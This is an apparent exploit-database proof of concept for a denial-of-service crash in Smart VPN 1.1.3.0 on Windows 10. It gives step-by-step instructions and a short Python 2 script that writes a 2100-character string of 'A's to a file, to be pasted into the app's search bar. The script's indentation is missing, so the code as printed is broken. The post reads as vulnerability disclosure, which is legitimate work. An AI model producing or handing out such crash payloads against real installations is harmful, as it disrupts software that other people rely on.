Smart VPN 1.1.3.0 Denial Of Service

`# Exploit Title: Smart VPN 1.1.3.0 - Denial of Service (PoC)  
# Date: 1/28/2018  
# Author: 0xB9  
# Twitter: @0xB9Sec  
# Contact: 0xB9[at]pm.me  
# Software Link: https://www.microsoft.com/store/productId/9NH1G93D4HKR  
# Version: 1.1.3.0  
# Tested on: Windows 10  
  
# Proof of Concept:  
# Run the python script, it will create a new file "PoC.txt"  
# Copy the text from the generated PoC.txt file to clipboard  
# Paste the text in the top right search bar and hit Enter  
# App will now crash  
  
buffer = "A" * 2100  
payload = buffer  
try:  
f=open("PoC.txt","w")  
print "[+] Creating %s evil payload.." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created!"  
except:  
print "File cannot be created"  
`